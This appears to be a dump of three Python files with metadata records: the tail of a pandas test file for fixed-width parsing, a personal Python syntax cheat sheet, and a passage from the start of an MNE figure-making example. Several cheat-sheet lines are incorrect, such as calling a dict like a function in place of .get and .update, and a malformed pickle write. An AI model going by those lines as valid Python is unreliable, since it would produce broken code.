  tm.assert_frame_equal(result, expected)\n\n\n@pytest.mark.parametrize(\"thousands\", [\",\", \"#\", \"~\"])\ndef test_fwf_thousands(thousands):\n    data = \"\"\"\\\n 1 2,334.0    5\n10   13     10.\n\"\"\"\n    data = data.replace(\",\", thousands)\n\n    colspecs = [(0, 3), (3, 11), (12, 16)]\n    expected = DataFrame([[1, 2334.0, 5], [10, 13, 10.0]])\n\n    result = read_fwf(\n        StringIO(data), header=None, colspecs=colspecs, thousands=thousands\n    )\n    tm.assert_almost_equal(result, expected)\n\n\n@pytest.mark.parametrize(\"header\", [True, False])\ndef test_bool_header_arg(header):\n    # see gh-6114\n    data = \"\"\"\\\nMyColumn\n   a\n   b\n   a\n   b\"\"\"\n\n    msg = \"Passing a bool to header is invalid\"\n    with pytest.raises(TypeError, match=msg):\n        read_fwf(StringIO(data), header=header)\n\n\ndef test_full_file():\n    # File with all values.\n    test = \"\"\"index                             A    B    C\n2000-01-03T00:00:00  0.980268513777    3  foo\n2000-01-04T00:00:00  1.04791624281    -4  bar\n2000-01-05T00:00:00  0.498580885705   73  baz\n2000-01-06T00:00:00  1.12020151869     1  foo\n2000-01-07T00:00:00  0.487094399463    0  bar\n2000-01-10T00:00:00  0.836648671666    2  baz\n2000-01-11T00:00:00  0.157160753327   34  foo\"\"\"\n    colspecs = ((0, 19), (21, 35), (38, 40), (42, 45))\n    expected = read_fwf(StringIO(test), colspecs=colspecs)\n\n    result = read_fwf(StringIO(test))\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_full_file_with_missing():\n    # File with missing values.\n    test = \"\"\"index                             A    B    C\n2000-01-03T00:00:00  0.980268513777    3  foo\n2000-01-04T00:00:00  1.04791624281    -4  bar\n                     0.498580885705   73  baz\n2000-01-06T00:00:00  1.12020151869     1  foo\n2000-01-07T00:00:00                    0  bar\n2000-01-10T00:00:00  0.836648671666    2  baz\n                                      34\"\"\"\n    colspecs = ((0, 19), (21, 35), (38, 40), (42, 45))\n    expected = read_fwf(StringIO(test), colspecs=colspecs)\n\n    result = read_fwf(StringIO(test))\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_full_file_with_spaces():\n    # File with spaces in columns.\n    test = \"\"\"\nAccount                 Name  Balance     CreditLimit   AccountCreated\n101     Keanu Reeves          9315.45     10000.00           1/17/1998\n312     Gerard Butler         90.00       1000.00             8/6/2003\n868     Jennifer Love Hewitt  0           17000.00           5/25/1985\n761     Jada Pinkett-Smith    49654.87    100000.00          12/5/2006\n317     Bill Murray           789.65      5000.00             2/5/2007\n\"\"\".strip(\n        \"\\r\\n\"\n    )\n    colspecs = ((0, 7), (8, 28), (30, 38), (42, 53), (56, 70))\n    expected = read_fwf(StringIO(test), colspecs=colspecs)\n\n    result = read_fwf(StringIO(test))\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_full_file_with_spaces_and_missing():\n    # File with spaces and missing values in columns.\n    test = \"\"\"\nAccount               Name    Balance     CreditLimit   AccountCreated\n101                           10000.00                       1/17/1998\n312     Gerard Butler         90.00       1000.00             8/6/2003\n868                                                          5/25/1985\n761     Jada Pinkett-Smith    49654.87    100000.00          12/5/2006\n317     Bill Murray           789.65\n\"\"\".strip(\n        \"\\r\\n\"\n    )\n    colspecs = ((0, 7), (8, 28), (30, 38), (42, 53), (56, 70))\n    expected = read_fwf(StringIO(test), colspecs=colspecs)\n\n    result = read_fwf(StringIO(test))\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_messed_up_data():\n    # Completely messed up file.\n    test = \"\"\"\n   Account          Name             Balance     Credit Limit   Account Created\n       101                           10000.00                       1/17/1998\n       312     Gerard Butler         90.00       1000.00\n\n       761     Jada Pinkett-Smith    49654.87    100000.00          12/5/2006\n  317          Bill Murray           789.65\n\"\"\".strip(\n        \"\\r\\n\"\n    )\n    colspecs = ((2, 10), (15, 33), (37, 45), (49, 61), (64, 79))\n    expected = read_fwf(StringIO(test), colspecs=colspecs)\n\n    result = read_fwf(StringIO(test))\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_multiple_delimiters():\n    test = r\"\"\"\ncol1~~~~~col2  col3++++++++++++++++++col4\n~~22.....11.0+++foo~~~~~~~~~~Keanu Reeves\n  33+++122.33\\\\\\bar.........Gerard Butler\n++44~~~~12.01   baz~~Jennifer Love Hewitt\n~~55       11+++foo++++Jada Pinkett-Smith\n..66++++++.03~~~bar           Bill Murray\n\"\"\".strip(\n        \"\\r\\n\"\n    )\n    delimiter = \" +~.\\\\\"\n    colspecs = ((0, 4), (7, 13), (15, 19), (21, 41))\n    expected = read_fwf(StringIO(test), colspecs=colspecs, delimiter=delimiter)\n\n    result = read_fwf(StringIO(test), delimiter=delimiter)\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_variable_width_unicode():\n    data = \"\"\"\n\u05e9\u05dc\u05d5\u05dd \u05e9\u05dc\u05d5\u05dd\n\u05d5\u05dd   \u05e9\u05dc\u05dc\n\u05e9\u05dc   \u05d5\u05dd\n\"\"\".strip(\n        \"\\r\\n\"\n    )\n    encoding = \"utf8\"\n    kwargs = {\"header\": None, \"encoding\": encoding}\n\n    expected = read_fwf(\n        BytesIO(data.encode(encoding)), colspecs=[(0, 4), (5, 9)], **kwargs\n    )\n    result = read_fwf(BytesIO(data.encode(encoding)), **kwargs)\n    tm.assert_frame_equal(result, expected)\n\n\n@pytest.mark.parametrize(\"dtype\", [{}, {\"a\": \"float64\", \"b\": str, \"c\": \"int32\"}])\ndef test_dtype(dtype):\n    data = \"\"\" a    b    c\n1    2    3.2\n3    4    5.2\n\"\"\"\n    colspecs = [(0, 5), (5, 10), (10, None)]\n    result = read_fwf(StringIO(data), colspecs=colspecs, dtype=dtype)\n\n    expected = DataFrame(\n        {\"a\": [1, 3], \"b\": [2, 4], \"c\": [3.2, 5.2]}, columns=[\"a\", \"b\", \"c\"]\n    )\n\n    for col, dt in dtype.items():\n        expected[col] = expected[col].astype(dt)\n\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_skiprows_inference():\n    # see gh-11256\n    data = \"\"\"\nText contained in the file header\n\nDataCol1   DataCol2\n     0.0        1.0\n   101.6      956.1\n\"\"\".strip()\n    skiprows = 2\n    expected = read_csv(StringIO(data), skiprows=skiprows, delim_whitespace=True)\n\n    result = read_fwf(StringIO(data), skiprows=skiprows)\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_skiprows_by_index_inference():\n    data = \"\"\"\nTo be skipped\nNot  To  Be  Skipped\nOnce more to be skipped\n123  34   8      123\n456  78   9      456\n\"\"\".strip()\n    skiprows = [0, 2]\n    expected = read_csv(StringIO(data), skiprows=skiprows, delim_whitespace=True)\n\n    result = read_fwf(StringIO(data), skiprows=skiprows)\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_skiprows_inference_empty():\n    data = \"\"\"\nAA   BBB  C\n12   345  6\n78   901  2\n\"\"\".strip()\n\n    msg = \"No rows from which to infer column width\"\n    with pytest.raises(EmptyDataError, match=msg):\n        read_fwf(StringIO(data), skiprows=3)\n\n\ndef test_whitespace_preservation():\n    # see gh-16772\n    header = None\n    csv_data = \"\"\"\n a ,bbb\n cc,dd \"\"\"\n\n    fwf_data = \"\"\"\n a bbb\n ccdd \"\"\"\n    result = read_fwf(\n        StringIO(fwf_data), widths=[3, 3], header=header, skiprows=[0], delimiter=\"\\n\\t\"\n    )\n    expected = read_csv(StringIO(csv_data), header=header)\n    tm.assert_frame_equal(result, expected)\n\n\ndef test_default_delimiter():\n    header = None\n    csv_data = \"\"\"\na,bbb\ncc,dd\"\"\"\n\n    fwf_data = \"\"\"\na \\tbbb\ncc\\tdd \"\"\"\n    result = read_fwf(StringIO(fwf_data), widths=[3, 3], header=header, skiprows=[0])\n    expected = read_csv(StringIO(csv_data), header=header)\n    tm.assert_frame_equal(result, expected)\n\n\n@pytest.mark.parametrize(\"infer\", [True, False])\ndef test_fwf_compression(compression_only, infer):\n    data = \"\"\"1111111111\n    2222222222\n    3333333333\"\"\".strip()\n\n    compression = compression_only\n    extension = \"gz\" if compression == \"gzip\" else compression\n\n    kwargs = {\"widths\": [5, 5], \"names\": [\"one\", \"two\"]}\n    expected = read_fwf(StringIO(data), **kwargs)\n\n    data = bytes(data, encoding=\"utf-8\")\n\n    with tm.ensure_clean(filename=\"tmp.\" + extension) as path:\n        tm.write_to_compressed(compression, path, data)\n\n        if infer is not None:\n            kwargs[\"compression\"] = \"infer\" if infer else compression\n\n        result = read_fwf(path, **kwargs)\n        tm.assert_frame_equal(result, expected)\n\n\ndef test_binary_mode():\n    \"\"\"\n    read_fwf supports opening files in binary mode.\n\n    GH 18035.\n    \"\"\"\n    data = \"\"\"aas aas aas\nbba bab b a\"\"\"\n    df_reference = DataFrame(\n        [[\"bba\", \"bab\", \"b a\"]], columns=[\"aas\", \"aas.1\", \"aas.2\"], index=[0]\n    )\n    with tm.ensure_clean() as path:\n        Path(path).write_text(data)\n        with open(path, \"rb\") as file:\n            df = read_fwf(file)\n            file.seek(0)\n            tm.assert_frame_equal(df, df_reference)\n\n\n@pytest.mark.parametrize(\"memory_map\", [True, False])\ndef test_encoding_mmap(memory_map):\n    \"\"\"\n    encoding should be working, even when using a memory-mapped file.\n\n    GH 23254.\n    \"\"\"\n    encoding = \"iso8859_1\"\n    data = BytesIO(\" 1 A \u00c4 2\\n\".encode(encoding))\n    df = read_fwf(\n        data,\n        header=None,\n        widths=[2, 2, 2, 2],\n        encoding=encoding,\n        memory_map=memory_map,\n    )\n    data.seek(0)\n    df_reference = DataFrame([[1, \"A\", \"\u00c4\", 2]])\n    tm.assert_frame_equal(df, df_reference)\n\n\n@pytest.mark.parametrize(\n    \"colspecs, names, widths, index_col\",\n    [\n        (\n            [(0, 6), (6, 12), (12, 18), (18, None)],\n            list(\"abcde\"),\n            None,\n            None,\n        ),\n        (\n            None,\n            list(\"abcde\"),\n            [6] * 4,\n            None,\n        ),\n        (\n            [(0, 6), (6, 12), (12, 18), (18, None)],\n            list(\"abcde\"),\n            None,\n            True,\n        ),\n        (\n            None,\n            list(\"abcde\"),\n            [6] * 4,\n            False,\n        ),\n        (\n            None,\n            list(\"abcde\"),\n            [6] * 4,\n            True,\n        ),\n        (\n            [(0, 6), (6, 12), (12, 18), (18, None)],\n            list(\"abcde\"),\n            None,\n            False,\n        ),\n    ],\n)\ndef test_len_colspecs_len_names(colspecs, names, widths, index_col):\n    # GH#40830\n    data = \"\"\"col1  col2  col3  col4\n    bab   ba    2\"\"\"\n    msg = \"Length of colspecs must match length of names\"\n    with pytest.raises(ValueError, match=msg):\n        read_fwf(\n            StringIO(data),\n            colspecs=colspecs,\n            names=names,\n            widths=widths,\n            index_col=index_col,\n        )\n\n\n@pytest.mark.parametrize(\n    \"colspecs, names, widths, index_col, expected\",\n    [\n        (\n            [(0, 6), (6, 12), (12, 18), (18, None)],\n            list(\"abc\"),\n            None,\n            0,\n            DataFrame(\n                index=[\"col1\", \"ba\"],\n                columns=[\"a\", \"b\", \"c\"],\n                data=[[\"col2\", \"col3\", \"col4\"], [\"b   ba\", \"2\", np.nan]],\n            ),\n        ),\n        (\n            [(0, 6), (6, 12), (12, 18), (18, None)],\n            list(\"ab\"),\n            None,\n            [0, 1],\n            DataFrame(\n                index=[[\"col1\", \"ba\"], [\"col2\", \"b   ba\"]],\n                columns=[\"a\", \"b\"],\n                data=[[\"col3\", \"col4\"], [\"2\", np.nan]],\n            ),\n        ),\n        (\n            [(0, 6), (6, 12), (12, 18), (18, None)],\n            list(\"a\"),\n            None,\n            [0, 1, 2],\n            DataFrame(\n                index=[[\"col1\", \"ba\"], [\"col2\", \"b   ba\"], [\"col3\", \"2\"]],\n                columns=[\"a\"],\n                data=[[\"col4\"], [np.nan]],\n            ),\n        ),\n        (\n            None,\n            list(\"abc\"),\n            [6] * 4,\n            0,\n            DataFrame(\n                index=[\"col1\", \"ba\"],\n                columns=[\"a\", \"b\", \"c\"],\n                data=[[\"col2\", \"col3\", \"col4\"], [\"b   ba\", \"2\", np.nan]],\n            ),\n        ),\n        (\n            None,\n            list(\"ab\"),\n            [6] * 4,\n            [0, 1],\n            DataFrame(\n                index=[[\"col1\", \"ba\"], [\"col2\", \"b   ba\"]],\n                columns=[\"a\", \"b\"],\n                data=[[\"col3\", \"col4\"], [\"2\", np.nan]],\n            ),\n        ),\n        (\n            None,\n            list(\"a\"),\n            [6] * 4,\n            [0, 1, 2],\n            DataFrame(\n                index=[[\"col1\", \"ba\"], [\"col2\", \"b   ba\"], [\"col3\", \"2\"]],\n                columns=[\"a\"],\n                data=[[\"col4\"], [np.nan]],\n            ),\n        ),\n    ],\n)\ndef test_len_colspecs_len_names_with_index_col(\n    colspecs, names, widths, index_col, expected\n):\n    # GH#40830\n    data = \"\"\"col1  col2  col3  col4\n    bab   ba    2\"\"\"\n    result = read_fwf(\n        StringIO(data),\n        colspecs=colspecs,\n        names=names,\n        widths=widths,\n        index_col=index_col,\n    )\n    tm.assert_frame_equal(result, expected)\n", "meta": {"hexsha": "6b136618de721cf31192269ce84d78cb633e90f2", "size": 24594, "ext": "py", "lang": "Python", "max_stars_repo_path": "pandas/tests/io/parser/test_read_fwf.py", "max_stars_repo_name": "RakhithJK/pandas", "max_stars_repo_head_hexsha": "0eeda645212c240d6cbdef8e3ba4834c3763553b", "max_stars_repo_licenses": ["PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause"], "max_stars_count": 28899, "max_stars_repo_stars_event_min_datetime": "2016-10-13T03:32:12.000Z", "max_stars_repo_stars_event_max_datetime": "2022-03-31T21:39:05.000Z", "max_issues_repo_path": "pandas/tests/io/parser/test_read_fwf.py", "max_issues_repo_name": "RakhithJK/pandas", "max_issues_repo_head_hexsha": "0eeda645212c240d6cbdef8e3ba4834c3763553b", "max_issues_repo_licenses": ["PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause"], "max_issues_count": 31004, "max_issues_repo_issues_event_min_datetime": "2016-10-12T23:22:27.000Z", "max_issues_repo_issues_event_max_datetime": "2022-03-31T23:17:38.000Z", "max_forks_repo_path": "pandas/tests/io/parser/test_read_fwf.py", "max_forks_repo_name": "RakhithJK/pandas", "max_forks_repo_head_hexsha": "0eeda645212c240d6cbdef8e3ba4834c3763553b", "max_forks_repo_licenses": ["PSF-2.0", "Apache-2.0", "BSD-3-Clause-No-Nuclear-License-2014", "MIT", "ECL-2.0", "BSD-3-Clause"], "max_forks_count": 15149, "max_forks_repo_forks_event_min_datetime": "2016-10-13T03:21:31.000Z", "max_forks_repo_forks_event_max_datetime": "2022-03-31T18:46:47.000Z", "avg_line_length": 28.7313084112, "max_line_length": 134, "alphanum_fraction": 0.5407823046, "include": true, "reason": "import numpy", "num_tokens": 8259, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.41489884579676883, "lm_q2_score": 0.14804720367010532, "lm_q1q2_score": 0.061424613926165855}}
{"text": "# Coding Syntax\n\n## Single line comment\n\"\"\"\nmultiline comment\n\"\"\"\n## -------------------------------------------------\n\n## Operators\nd = 7//2\t\t# floor division\nd = 7%2\t\t\t# modulus\nd = 7**2\t\t# to the power\nlong_str = 5*\"o\"\t# some are also defined for other var types, but be careful\n\n## Printing\nd = input(\"what's your name?\")\nprint(\"hi\", d)\t\t# multiple printing\nprint('hi', 'duck', sep='\\n')\nprint('hi', 'duck', sep='/') # / for file path, \",\" for CSV format\nprint('hi', 'duck', end='\\r')\nf\"something {d}\" # better string formating, PEP\t498\n## -------------------------------------------------\n\n# Variables\n## Collections\n##### List (ordered & changeable)\nlist_var1 = [1, 2, 3]\nlist_var7 = [i+1 for i in list_var1] # list comprehension\nlist_var5 = [1, 2, \"d\", [2, 7]]\nlist_var2 = [\"d\", \"u\", \"c\"]\nlist_var2[0] # \"d\"\nlist_var2[-1] # \"c\"\nlist_var2[1:3] # only 1st and 2nd element, 3rd is not included\nlist_var2.append(\"k\")\ndel list_var2[3]\nlist_var2.reverse()\nlist_var2[0] = 0\nfor mem in list_var1:\n  print()\nprint(*list) # will print members of list without []\n\n##### Tuple (ordered & unchangeable)\ntuple_var1 = (1, 2, 3)\ntuple_var2 = (1, \"d\", [1, 2])\ntuple_var1 + (4, ) # append tuple\n\n##### Dictionaries (unordered, changable & indexed)\ndict_var = {\"a\":1, \"b\":2, \"c\":3}\ndict_var[\"a\"] # 1\ndict_var[\"b\"] # 2\ndict_var(\"k\", 7) # get value of key \"k\", if doesn't exist, take default value 7\ndict_var.keys() # iterate over all keys\nfor key in dict_var.keys():\n  print()\ndict_var.values() # iterate over all values\nfor val in dict_var.values():\n  print()\ndel dict_var[\"a\"] # delete pair of key and val\ndict_var[\"d\"] = 7 # add key-val pair\ndict_var({\"b\":5, \"d\":7}) # add & overwrite\n\n##### Set ( unordered, changeable & unindexed)\nset_var = {\"a\", \"b\", \"c\"}\n## -------------------------------------------------\n\n\n## Conditional - Control flow\nx = 72\nprint((x <= 72 and x > 72) or x == 72) # True\n\nif x > 72:\n\tprint()\nelif x == 27:\n\tprint()\nelse:\n\tprint()\n\ni=27\nwhile i < x:\n\tprint()\n\ti+=1\n\nfor i in range(0,7):\n  print()\n  if i==1:\n    continue\t# prematurely skip current iteration\n  elif i==2:\n    break\t\t# prematurely terminate a loop\n\ntry:\n  print(duck) # duck is not yet define -> error\nexcept:\n  print(\"Something went wrong\")\nelse:\n  print(\"Nothing went wrong\")\nfinally: # useful to close objects and clean up resources, execute regardless if there's error\n  print(\"The 'try except' is finished\")\n\nx = \"hello\"\nif not type(x) is int:\n  raise TypeError(\"Only integers are allowed\")\n## -------------------------------------------------\n\n\n## Functions\ndef square(x):\n  return x**2\nprint(square(3)) # 9\n\ndef greet(name=\"\", last_name=\"\"):\n  print(\"hello\",name)\n  return name, name + last_name\n\ncubed = lambda x: x**3\nprint(cubed(2)) # 8\n\n# args, kwargs\ndef print_all(*args,**kwargs):\n  print(\"args\",args)\n  print(\"kwargs\", kwargs)\nprint_all(1,2,3,b=7,c=4)\n# args (1, 2, 3)\n# kwargs {'b': 7, 'c': 4}\n## -------------------------------------------------\n\n\n## Classes\nclass Person:\n  def __init__(self, name, allergies=\"\"):\n    self.name = name\n    self.allergies = allergies\n  def talk(self):\n    print(\"my name is\", self.name)\n    if self.allergies != \"\":\n      print(\"I am allergic to \", self.allergies)\n\np1 = Person(\"Antine\")\np1.name = \"Antoine\"\np1.talk()\n## -------------------------------------------------\n\n\n## Common library\nhelp(print) # If possible, just use this first\n\nimport numpy as np\na = np.array([1,2,3])\na[1]; a[:,2]; a[1:3,1]\nb = np.array([[1,2],[3,4]], dtype=float)\n# np.zeros, ones, linspace, random.random\n# shape, ndim, size, dtype\n# sum, min, max, mean, median, std\n# round, ceil, floor\n\nimport pandas as pd\nfile_name=\"test.txt\"\ndf = pd.read_csv(file_name)\ndf.to_csv(file_name)\ndf_2 = pd.read_excel(file_name)\ndf_2.to_excel(file_name, sheet_name=\"sheet\")\ndf.head() # columns, \n\nfrom sqlalchemy import create_engine\nengine = create_engine('sqlite:///foo.db')\ndf_3 = pd.read_sql_table(\"tableName\", engine)\ndf_3.to_sql(\"tableName\",engine)\n\ndata = [[\"tom\",10],[\"pete\",15],[\"jean\",30],[\"puff\",35],[\"pete\",5]]\ndf = pd.DataFrame(data=data, columns=[\"name\",\"age\"])\n# info\ndf.columns\ndf.shape\ndf.info()\n# filters\ndf[(df.age > 10) & (df.name == \"pete\")]\ndf.iloc[0] # by position (row)\n\n# operations: sum, cumsum, min, max, mean, median\ndf[\"age\"].sum()\n# apply a function to cells\nsum_one = lambda x: x + 1\ndf[\"new age\"] = df[\"age\"].apply(sum_one)\nupper = lambda s: s[0].upper() + s[1:]\ndf[\"name\"] = df[\"name\"].apply(upper)\n\n## Write & Open file\n## File access modes: r, r+, w, w+, a, a+\nfile_obj = open(r\"file_name\", \"access_mode\") # add r to prevent special character, the string is consider raw\nfile_obj.close() # free the memory space acquired by that file\nfile_obj.write(str) #writelines(list_of_str)\nfile_obj.read # readline, readlines\nfile_obj.writelines(list_of_str)\n\nimport matplotlib.pyplot as plt\nplt.plot() # subplot\nplt.figure(figure_size()), grid, title\nplt.scatter, hist\nplt.show()\n\nfrom sklearn import duck\n\nimport os\nos.getcwd()\nos.chdir()\nos.system('mkdir duck')\nos.walk()\nos.listdir()\nos.path.dirname(dir_path)\nos.path.realpath(__file__)\n\nimport glob\nglob.glob(name, recursive = False)\nglob.escape\nglob.glob('*.py')\nfor name in glob.glob('dir/*'):\n\tcmd\nfor name in glob.glob('dir/name?.txt'):\n\tcmd\n# Find recursively\nfor files in glob.glob('dir/**/*.txt', recursive = True):\n\tcmd\n\nimport sys\nprint(sys.argv)\nsys.path\nsys.path.append(path)\nsys.path.append(os.path.dirname(os.path.dirname(os.path.realpath(__file__))))\n\nimport argparse\nparser = argparse.ArgumentParser(prog = 'top',\n    description = 'Show top lines from each file')\nparser.add_argument('filenames', nargs='+')\nparser.add_argument('-l', '--lines', type=int, default=10)\nargs = parser.parse_args()\nprint(args)\n\nimport cv2\n# cv2 axis: x - left to right, y - up to down\ncv2.imread #imwrite, imshow, VideoWriter, waitKey, destroyAllWindows\ncv2.VideoWriter(name, cv2.VideoWriter_fourcc(*'DIVX'), fps, size)\n## The fun parts of opencv\ncv2.cvtColor, flip, resize, threshold, adaptiveThreshold\ncv2.bitwise_and #or, not, xor\n## Contour stuffs\ncontours, hierarchy = cv2.findContours(img, cv2.RETR_TREE, cv2.CHAIN_APPROX_SIMPLE)\n# CHAIN_APPROX_NONE for all contour points\n# check coutour retrieval mode for more infos on hierarchy\ncv2.drawContours, contourArea, arcLength, approxPolyDP, isContourConvex, convexHull, boundingRect, minAreaRect\n# this thickness is also stupid, becareful :)\n## Basic drawings\ncv2.line, polylines, circle, text\n# the width is stupid, be careful when it's small\n## Advance feature extraction\ncv2.HoughLines, HoughLinesP, cornerHarris\ncv2.norm, moments\ncv2.addWeighted\ncv2.getRotationMatrix2D\ncv2.warpAffine\ncv2.countNonZero\n\nfrom tqdm import tqdm\nfor i in tqdm(range(1,5)): # wrap around iterator\n  print(i)\n\nimport pickle, cpickle\npickle.dump(var, open('name.pickle', 'wb'))\nvar = pickle.load(open('file.pickle', 'rb'))\n## use dumps and loads with gzip\n## Python 2 use .pkl, python 3 use .pickle\nwith open('', '') as f:\n\tpickle.dump()\n\nimport gzip\nvar = gzip.open('file.gz', 'rb')\nwith gzip.open('file.txt.gz', 'wb') as f:\n\tf.write(content)\n## Save a compressed pickle file\nfile = gzip.GzipFile(filename, 'wb')\nfile.write(pickle.dumps, protocol = 0)\nfile.close\n## Load a compressed pickle file\nfile = gzip.GzipFile(filename, 'rb')\ndata = file.read()\nobject = pickle.loads(data)\nfile.close\n\nfrom typing import NewType, Final\nUserId = NewType('UserId', int)\nsome_id = UserId(524313)\n## Final: A special typing construct to indicate to type checkers that a name cannot be re-assigned or overridden in a subclass.\nMAX_SIZE: Final = 9000\nMAX_SIZE += 1  # Error reported by type checker\nclass Connection:\n    TIMEOUT: Final[int] = 10\nclass FastConnector(Connection):\n    i=2\n    # TIMEOUT = 1  # Error reported by type checker\n\nfrom shapely import *\nfrom shapely.geometry import box, LineString, LinearRing, Point\nfrom shapely.geometry import Polygon, MultiPolygon, MultiLineString\nfrom shapely.geometry import CAP_STYLE, JOIN_STYLE\nfrom shapely.ops import polygonize, cascaded_union, unary_union\n\n", "meta": {"hexsha": "5510118e3f7d160eb950343e1968808a4ff45f50", "size": 7994, "ext": "py", "lang": "Python", "max_stars_repo_path": "pyFD/pyFD.py", "max_stars_repo_name": "duken72/codingForDummies", "max_stars_repo_head_hexsha": "ec51508f00f27e105c64e3e1cd8e4df929de2625", "max_stars_repo_licenses": ["MIT"], "max_stars_count": 1, "max_stars_repo_stars_event_min_datetime": "2021-05-14T14:26:25.000Z", "max_stars_repo_stars_event_max_datetime": "2021-05-14T14:26:25.000Z", "max_issues_repo_path": "pyFD/pyFD.py", "max_issues_repo_name": "duken72/codingForDummies", "max_issues_repo_head_hexsha": "ec51508f00f27e105c64e3e1cd8e4df929de2625", "max_issues_repo_licenses": ["MIT"], "max_issues_count": null, "max_issues_repo_issues_event_min_datetime": null, "max_issues_repo_issues_event_max_datetime": null, "max_forks_repo_path": "pyFD/pyFD.py", "max_forks_repo_name": "duken72/codingForDummies", "max_forks_repo_head_hexsha": "ec51508f00f27e105c64e3e1cd8e4df929de2625", "max_forks_repo_licenses": ["MIT"], "max_forks_count": null, "max_forks_repo_forks_event_min_datetime": null, "max_forks_repo_forks_event_max_datetime": null, "avg_line_length": 26.2098360656, "max_line_length": 128, "alphanum_fraction": 0.6651238429, "include": true, "reason": "import numpy", "num_tokens": 2326, "lm_name": "Qwen/Qwen-72B", "lm_label": "1. NO\n2. NO", "lm_q1_score": 0.4493926344647596, "lm_q2_score": 0.13660838475359832, "lm_q1q2_score": 0.06139080191439505}}
{"text": "\"\"\"\n.. _ex-publication-figure:\n\n===================================\nMake figures more publication ready\n===================================\n\nIn this example, we show several use cases to take MNE plots and\ncustomize them for a more publication-ready look.\n\"\"\"\n\n# Authors: Eric Larson <larson.eric.d@gmail.com>\n#          Daniel McCloy <dan.mccloy@gmail.com>\n#          Stefan Appelhoff <stefan.appelhoff@mailbox.org>\n#\n# License: BSD (3-clause)\n\n###############################################################################\n# Imports\n# -------\n# We are importing everything we need for this example:\n\nimport os.path as op\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nfrom mpl_toolkits.axes_grid1 import (make_axes_locatable, ImageGrid,\n                                     inset_locator)\n\nimport mne\n\n###############################################################################\n# Evoked plot with brain activation\n# ---------------------------------\n#\n# Suppose we want a figure with an evoked plot on top, and the brain activation\n# below, with the brain subplot slightly bigger than the evoked plot. Let's\n# start by loading some :ref:`example data <sample-dataset>`.\n\ndata_path = mne.datasets.sample.data_path()\nsubjects_dir = op.join(data_path, 'subjects')\nfname_stc = op.join(data_path, 'MEG', 'sample', 'sample_audvis-meg-eeg-lh.stc')\nfname_evoked = op.join(data_path, 'MEG', 'sample', 'sample_audvis-ave.fif')\n\nevoked = mne.read_evokeds(fname_evoked, 'Left Auditory')\nevoked.pick_types(meg='grad').apply_baseline((None, 0.))\nmax_t = evoked.get_peak()[1]\n\nstc = mne.read_source_estimate(fname_stc)\n\n###############################################################################\n# During interactive plotting, we might see figures like this:\n\nevoked.plot()\n\nstc.plot(views='lat', hemi='split', size=(800, 400), subject='sample',\n         subjects_dir=subjects_dir, initial_time=max_t,\n         time_viewer=False, show_traces=False)\n\n###############################################################################\n# To make a publication-ready figure, first we'll re-plot the brain on a white\n# background, take a screenshot of it, and then crop out the white margins.\n# While we're at it, let's change the colormap, set custom colormap limits and\n# remove the default colorbar (so we can add a smaller, vertical one later):\n\ncolormap = 'viridis'\nclim = dict(kind='value', lims=[4, 8, 12])\n\n# Plot the STC, get the brain image, crop it:\nbrain = stc.plot(views='lat', hemi='split', size=(800, 400), subject='sample',\n                 subjects_dir=subjects_dir, initial_time=max_t, background='w',\n                 colorbar=False, clim=clim, colormap=colormap,\n                 time_viewer=False, show_traces=False)\nscreenshot = brain.screenshot()\nbrain.close()\n\n###############################################################################\n# Now let's crop out the white margins and the white gap between hemispheres.\n# The screenshot has dimensions ``(h, w, 3)``, with the last axis being R, G, B\n# values for each pixel, encoded as integers between ``0`` and ``255``. ``(255,\n# 255, 255)`` encodes a white pixel, so we'll detect any pixels that differ\n# from that:\n\nnonwhite_pix = (screenshot != 255).any(-1)\nnonwhite_row = nonwhite_pix.any(1)\nnonwhite_col = nonwhite_pix.any(0)\ncropped_screenshot = screenshot[nonwhite_row][:, nonwhite_col]\n\n# before/after results\nfig = plt.figure(figsize=(4, 4))\naxes = ImageGrid(fig, 111, nrows_ncols=(2, 1), axes_pad=0.5)\nfor ax, image, title in zip(axes, [screenshot, cropped_screenshot],\n                            ['Before', 'After']):\n    ax.imshow(image)\n    ax.set_title('{} cropping'.format(title))\n\n###############################################################################\n# A lot of figure settings can be adjusted after the figure is created, but\n# many can also be adjusted in advance by updating the\n# :data:`~matplotlib.rcParams` dictionary. This is especially useful when your\n# script generates several figures that you want to all have the same style:\n\n# Tweak the figure style\nplt.rcParams.update({\n    'ytick.labelsize': 'small',\n    'xtick.labelsize': 'small',\n    'axes.labelsize': 'small',\n    'axes.titlesize': 'medium',\n    'grid.color': '0.75',\n    'grid.linestyle': ':',\n})\n\n###############################################################################\n# Now let's create our custom figure. There are lots of ways to do this step.\n# Here we'll create the figure and the subplot axes in one step, specifying\n# overall figure size, number and arrangement of subplots, and the ratio of\n# subplot heights for each row using :mod:`GridSpec keywords\n# <matplotlib.gridspec>`. Other approaches (using\n# :func:`~matplotlib.pyplot.subplot2grid`, or adding each axes manually) are\n# shown commented out, for reference.\n\n# sphinx_gallery_thumbnail_number = 4\n# figsize unit is inches\nfig, axes = plt.subplots(nrows=2, ncols=1, figsize=(4.5, 3.),\n                         gridspec_kw=dict(height_ratios=[3, 4]))\n\n# alternate way #1: using subplot2grid\n# fig = plt.figure(figsize=(4.5, 3.))\n# axes = [plt.subplot2grid((7, 1), (0, 0), rowspan=3),\n#         plt.subplot2grid((7, 1), (3, 0), rowspan=4)]\n\n# alternate way #2: using figure-relative coordinates\n# fig = plt.figure(figsize=(4.5, 3.))\n# axes = [fig.add_axes([0.125, 0.58, 0.775, 0.3]),  # left, bot., width, height\n#         fig.add_axes([0.125, 0.11, 0.775, 0.4])]\n\n# we'll put the evoked plot in the upper axes, and the brain below\nevoked_idx = 0\nbrain_idx = 1\n\n# plot the evoked in the desired subplot, and add a line at peak 